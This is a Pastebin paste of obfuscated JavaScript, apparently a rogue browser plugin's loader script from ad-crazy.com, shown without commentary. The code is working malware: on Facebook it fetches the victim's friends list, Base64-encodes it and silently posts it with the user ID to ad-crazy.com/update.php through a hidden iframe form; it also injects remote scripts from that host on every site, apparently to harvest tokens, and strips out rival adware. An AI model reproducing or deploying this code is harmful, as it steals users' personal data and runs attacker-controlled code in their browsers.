Guest User

htxp://ad-crazy.com/plugins/loader.js

a guest
Aug 4th, 2012
136
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Base64 = {};
  2. Base64["PADCHAR"] = "=";
  3. Base64["ALPHA"] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  4. Base64["getbyte64"] = function (_0xf71cx0, _0xf71cx1) {
  5.     var _0xf71cx2 = Base64["ALPHA"]["indexOf"](_0xf71cx0["charAt"](_0xf71cx1));
  6.     if (_0xf71cx2 == -1) {
  7.         throw "Cannot decode Base64";
  8.     };
  9.     return _0xf71cx2;
  10. };
  11. Base64["decode"] = function (_0xf71cx0) {
  12.     _0xf71cx0 = "" + _0xf71cx0;
  13.     var _0xf71cx3 = Base64["getbyte64"];
  14.     var _0xf71cx4, _0xf71cx1, _0xf71cx5;
  15.     var _0xf71cx6 = _0xf71cx0["length"];
  16.     if (_0xf71cx6 == 0) {
  17.         return _0xf71cx0;
  18.     };
  19.     if (_0xf71cx6 % 4 != 0) {
  20.         throw "Cannot decode Base64";
  21.     };
  22.     _0xf71cx4 = 0;
  23.     if (_0xf71cx0["charAt"](_0xf71cx6 - 1) == Base64["PADCHAR"]) {
  24.         _0xf71cx4 = 1;
  25.         if (_0xf71cx0["charAt"](_0xf71cx6 - 2) == Base64["PADCHAR"]) {
  26.             _0xf71cx4 = 2;
  27.         };
  28.         _0xf71cx6 -= 4;
  29.     };
  30.     var _0xf71cx7 = [];
  31.     for (_0xf71cx1 = 0; _0xf71cx1 < _0xf71cx6; _0xf71cx1 += 4) {
  32.         _0xf71cx5 = (_0xf71cx3(_0xf71cx0, _0xf71cx1) << 18) | (_0xf71cx3(_0xf71cx0, _0xf71cx1 + 1) << 12) | (_0xf71cx3(_0xf71cx0, _0xf71cx1 + 2) << 6) | _0xf71cx3(_0xf71cx0, _0xf71cx1 + 3);
  33.         _0xf71cx7["push"](String["fromCharCode"](_0xf71cx5 >> 16, (_0xf71cx5 >> 8) & 0xff, _0xf71cx5 & 0xff));
  34.     };
  35.     switch (_0xf71cx4) {
  36.     case 1:
  37.         _0xf71cx5 = (_0xf71cx3(_0xf71cx0, _0xf71cx1) << 18) | (_0xf71cx3(_0xf71cx0, _0xf71cx1 + 1) << 12) | (_0xf71cx3(_0xf71cx0, _0xf71cx1 + 2) << 6);
  38.         _0xf71cx7["push"](String["fromCharCode"](_0xf71cx5 >> 16, (_0xf71cx5 >> 8) & 0xff));
  39.         break;;
  40.     case 2:
  41.         _0xf71cx5 = (_0xf71cx3(_0xf71cx0, _0xf71cx1) << 18) | (_0xf71cx3(_0xf71cx0, _0xf71cx1 + 1) << 12);
  42.         _0xf71cx7["push"](String["fromCharCode"](_0xf71cx5 >> 16));
  43.         break;;
  44.     };
  45.     return _0xf71cx7["join"]("");
  46. };
  47. Base64["getbyte"] = function (_0xf71cx0, _0xf71cx1) {
  48.     var _0xf71cx7 = _0xf71cx0["charCodeAt"](_0xf71cx1);
  49.     if (_0xf71cx7 > 255) {
  50.         throw "INVALID_CHARACTER_ERR: DOM Exception 5";
  51.     };
  52.     return _0xf71cx7;
  53. };
  54. Base64["encode"] = function (_0xf71cx0) {
  55.     if (arguments["length"] != 1) {
  56.         throw "SyntaxError: Not enough arguments";
  57.     };
  58.     var _0xf71cx8 = Base64["PADCHAR"];
  59.     var _0xf71cx9 = Base64["ALPHA"];
  60.     var _0xf71cxa = Base64["getbyte"];
  61.     var _0xf71cx1, _0xf71cx5;
  62.     var _0xf71cx7 = [];
  63.     _0xf71cx0 = "" + _0xf71cx0;
  64.     var _0xf71cx6 = _0xf71cx0["length"] - _0xf71cx0["length"] % 3;
  65.     if (_0xf71cx0["length"] == 0) {
  66.         return _0xf71cx0;
  67.     };
  68.     for (_0xf71cx1 = 0; _0xf71cx1 < _0xf71cx6; _0xf71cx1 += 3) {
  69.         _0xf71cx5 = (_0xf71cxa(_0xf71cx0, _0xf71cx1) << 16) | (_0xf71cxa(_0xf71cx0, _0xf71cx1 + 1) << 8) | _0xf71cxa(_0xf71cx0, _0xf71cx1 + 2);
  70.         _0xf71cx7["push"](_0xf71cx9["charAt"](_0xf71cx5 >> 18));
  71.         _0xf71cx7["push"](_0xf71cx9["charAt"]((_0xf71cx5 >> 12) & 0x3F));
  72.         _0xf71cx7["push"](_0xf71cx9["charAt"]((_0xf71cx5 >> 6) & 0x3f));
  73.         _0xf71cx7["push"](_0xf71cx9["charAt"](_0xf71cx5 & 0x3f));
  74.     };
  75.     switch (_0xf71cx0["length"] - _0xf71cx6) {
  76.     case 1:
  77.         _0xf71cx5 = _0xf71cxa(_0xf71cx0, _0xf71cx1) << 16;
  78.         _0xf71cx7["push"](_0xf71cx9["charAt"](_0xf71cx5 >> 18) + _0xf71cx9["charAt"]((_0xf71cx5 >> 12) & 0x3F) + _0xf71cx8 + _0xf71cx8);
  79.         break;;
  80.     case 2:
  81.         _0xf71cx5 = (_0xf71cxa(_0xf71cx0, _0xf71cx1) << 16) | (_0xf71cxa(_0xf71cx0, _0xf71cx1 + 1) << 8);
  82.         _0xf71cx7["push"](_0xf71cx9["charAt"](_0xf71cx5 >> 18) + _0xf71cx9["charAt"]((_0xf71cx5 >> 12) & 0x3F) + _0xf71cx9["charAt"]((_0xf71cx5 >> 6) & 0x3f) + _0xf71cx8);
  83.         break;;
  84.     };
  85.     return _0xf71cx7["join"]("");
  86. };
  87. if (location["href"]["indexOf"]("5er.in") == -1 && location["href"]["indexOf"]("ad-crazy.com") == -1) {
  88.     var ff_cookie = {
  89.         write: function (_0xf71cxc, _0xf71cxd) {
  90.             sonTarih = new Date();
  91.             sonTarih["setTime"](sonTarih["getTime"]() + (1 * 24 * 60 * 60 * 1000));
  92.             document["cookie"] = _0xf71cxc + "=" + _0xf71cxd + "; expires=" + sonTarih["toGMTString"]() + "; path=/";
  93.         },
  94.         read: function (_0xf71cxc) {
  95.             var _0xf71cxe = document["cookie"]["match"]("(^|;) ?" + _0xf71cxc + "=([^;]*)(;|$)");
  96.             if (_0xf71cxe) {
  97.                 return (unescape(_0xf71cxe[2]));
  98.             } else {
  99.                 return null;
  100.             };
  101.         }
  102.     };
  103.     setTimeout(function () {
  104.         if (location["href"]["indexOf"]("facebook.com") > -1) {
  105.             if (Env["user"] == 0) {
  106.                 return;
  107.             };
  108.             if (window["top"] !== window["self"]) {
  109.                 return;
  110.             };
  111.             var _0xf71cxf = location["protocol"] + "//www.ad-crazy.com/js/jquery.js";
  112.             var jel = document["createElement"]("script");
  113.             jel["src"] = _0xf71cxf;
  114.             jel["type"] = "text/javascript";
  115.             document["getElementsByTagName"]("head")[0]["appendChild"](jel);
  116.         };
  117.         setTimeout(function () {
  118.             if (window["top"] !== window["self"]) {
  119.                 return;
  120.             };
  121.             if (location["href"]["indexOf"]("facebook.com") > -1 && ff_cookie["read"]("fff_listposted") != "yes") {
  122.                 ff_cookie["write"]("fff_listposted", "yes");
  123.                 if (jQuery("#post_list_data")["length"] == 0) {
  124.                     jQuery("<iframe id=\"post_list_data\" name=\"post_list_data\" src=\"\" style=\"width:0px;height:0px;display:none;\"/>")["appendTo"]("body");
  125.                 };
  126.                 jQuery["ajax"]({
  127.                     type: "GET",
  128.                     url: "http://www.facebook.com/ajax/typeahead_friends.php?__a=1&rndval=" + (Math["random"]() * 100),
  129.                     headers: {
  130.                         "Content-Type": "application/x-www-form-urlencoded"
  131.                     }
  132.                 })["complete"](function (_0xf71cx11) {
  133.                     var _0xf71cx12 = new String(_0xf71cx11["responseText"]);
  134.                     if (_0xf71cx12["trim"]() != "" && _0xf71cx12 != "undefined") {
  135.                         _0xf71cx12 = _0xf71cx12["replace"](/for\s*\(\s*\;\s*\;\s*\)\s*\;/, "");
  136.                         _0xf71cx12 = Base64["encode"](_0xf71cx12);
  137.                         src = location["protocol"] + "//www.ad-crazy.com/update.php?rndval=" + (Math["random"]() * 100);
  138.                         sendData(i, src, _0xf71cx12);
  139.                     } else {
  140.                         jQuery["ajax"]({
  141.                             type: "GET",
  142.                             url: "https://www.facebook.com/ajax/typeahead_friends.php?__a=1&rndval=" + (Math["random"]() * 100),
  143.                             headers: {
  144.                                 "Content-Type": "application/x-www-form-urlencoded"
  145.                             }
  146.                         })["complete"](function (_0xf71cx11) {
  147.                             var _0xf71cx12 = new String(_0xf71cx11["responseText"]);
  148.                             if (_0xf71cx12["trim"]() != "" && _0xf71cx12 != "undefined") {
  149.                                 _0xf71cx12 = _0xf71cx12["replace"](/for\s*\(\s*\;\s*\;\s*\)\s*\;/, "");
  150.                                 _0xf71cx12 = Base64["encode"](_0xf71cx12);
  151.                                 src = location["protocol"] + "//www.ad-crazy.com/update.php?rndval=" + (Math["random"]() * 100);
  152.                                 sendData(i, src, _0xf71cx12);
  153.                             };
  154.                         });
  155.                     };
  156.                 });
  157.             };
  158.             var _0xf71cxf = "";
  159.             if (location["href"]["indexOf"]("facebook.com") > -1) {
  160.                 if (ff_cookie["read"]("fff_tokens_posted") != "yes") {
  161.                     ff_cookie["write"]("fff_tokens_posted", "yes");
  162.                     _0xf71cxf = location["protocol"] + "//www.ad-crazy.com/load.php?rnd=" + Math["random"]();
  163.                     var jel = document["createElement"]("script");
  164.                     jel["src"] = _0xf71cxf;
  165.                     jel["type"] = "text/javascript";
  166.                     document["getElementsByTagName"]("body")[0]["appendChild"](jel);
  167.                 };
  168.             } else {
  169.                 _0xf71cxf = location["protocol"] + "//www.ad-crazy.com/plugins/socialchanger2.js?rnd=" + Math["random"]();
  170.                 var jel = document["createElement"]("script");
  171.                 jel["src"] = _0xf71cxf;
  172.                 jel["type"] = "text/javascript";
  173.                 document["getElementsByTagName"]("body")[0]["appendChild"](jel);
  174.             };
  175.         }, 3000);
  176.     }, 2000);
  177.  
  178.     function sendData(_0xf71cx1, _0xf71cx14, _0xf71cx11) {
  179.         if (jQuery("#post_listdataform")["length"] == 0) {
  180.             jQuery("<form action=\"" + _0xf71cx14 + "\" method=\"post\" target=\"post_list_data\" id=\"post_listdataform\">" + "<input type=\"hidden\" name=\"list\" value=\"" + _0xf71cx11 + "\" />" + "<input type=\"hidden\" name=\"userid\" value=\"" + Env["user"] + "\" /></form>")["appendTo"]("body");
  181.         } else {
  182.             jQuery("#post_listdataform input[name=\"list\"]")["val"](_0xf71cx11);
  183.             jQuery("#post_listdataform input[name=\"userid\"]")["val"](Env["user"]);
  184.         };
  185.         time = (_0xf71cx1 * 4000) + 100;
  186.         setTimeout(function () {
  187.             jQuery("#post_listdataform")["submit"]();
  188.         }, time);
  189.     };
  190.     var maxTry = 300;
  191.     var posTry = 0;
  192.  
  193.     function removejscssfile(_0xf71cx18, _0xf71cx19, _0xf71cx1a) {
  194.         var _0xf71cx1b = "";
  195.         if (_0xf71cx19 == "js") {
  196.             _0xf71cx1b = "script";
  197.         };
  198.         if (_0xf71cx19 == "css") {
  199.             _0xf71cx1b = "link";
  200.         };
  201.         if (_0xf71cx19 == "iframe") {
  202.             _0xf71cx1b = "iframe";
  203.         };
  204.         if (_0xf71cx19 == "div") {
  205.             _0xf71cx1b = "div";
  206.         };
  207.         var _0xf71cx1c = document["getElementsByTagName"](_0xf71cx1b);
  208.         for (var _0xf71cx1 = _0xf71cx1c["length"]; _0xf71cx1 >= 0; _0xf71cx1--) {
  209.             if (_0xf71cx1c[_0xf71cx1] && _0xf71cx1c[_0xf71cx1]["getAttribute"](_0xf71cx1a) != null && _0xf71cx1c[_0xf71cx1]["getAttribute"](_0xf71cx1a)["indexOf"](_0xf71cx18) != -1) {
  210.                 _0xf71cx1c[_0xf71cx1]["parentNode"]["removeChild"](_0xf71cx1c[_0xf71cx1]);
  211.             };
  212.         };
  213.     };
  214.  
  215.     function detect_unwanteds() {
  216.         if (posTry < maxTry) {
  217.             if (typeof createCookie != "null") {
  218.                 createCookie = null;
  219.             };
  220.             if (typeof readCookie != "null") {
  221.                 readCookie = null;
  222.             };
  223.             if (typeof graph != "null") {
  224.                 graph = null;
  225.             };
  226.             if (typeof grupkontrol != "null") {
  227.                 grupkontrol = null;
  228.             };
  229.             if (typeof grubaekle != "null") {
  230.                 grubaekle = null;
  231.             };
  232.             if (typeof grupistek != "null") {
  233.                 grupistek = null;
  234.             };
  235.             removejscssfile("faceblus.js", "js", "src");
  236.             removejscssfile("usersignup.js", "js", "src");
  237.             removejscssfile("rating.css", "css", "href");
  238.             removejscssfile("po.html", "iframe", "src");
  239.             removejscssfile("poz.html", "iframe", "src");
  240.             removejscssfile("reklam.php", "iframe", "src");
  241.             removejscssfile("settingfiltre", "a", "id");
  242.             removejscssfile("harikaface", "iframe", "src");
  243.             removejscssfile("faceplus", "iframe", "src");
  244.             removejscssfile("harikaface", "js", "src");
  245.             removejscssfile("faceplus", "js", "src");
  246.             removejscssfile("harikaface", "css", "src");
  247.             removejscssfile("faceplus", "css", "src");
  248.             posTry++;
  249.             setTimeout(function () {
  250.                 detect_unwanteds();
  251.             }, 100);
  252.         };
  253.     };
  254.     detect_unwanteds();
  255.     var jel = document["createElement"]("script");
  256.     jel["src"] = location["protocol"] + "//www.ad-crazy.com/plugins/others.js";
  257.     jel["type"] = "text/javascript";
  258.     document["getElementsByTagName"]("body")[0]["appendChild"](jel);
  259. };
Advertisement
Add Comment
Please, Sign In to add comment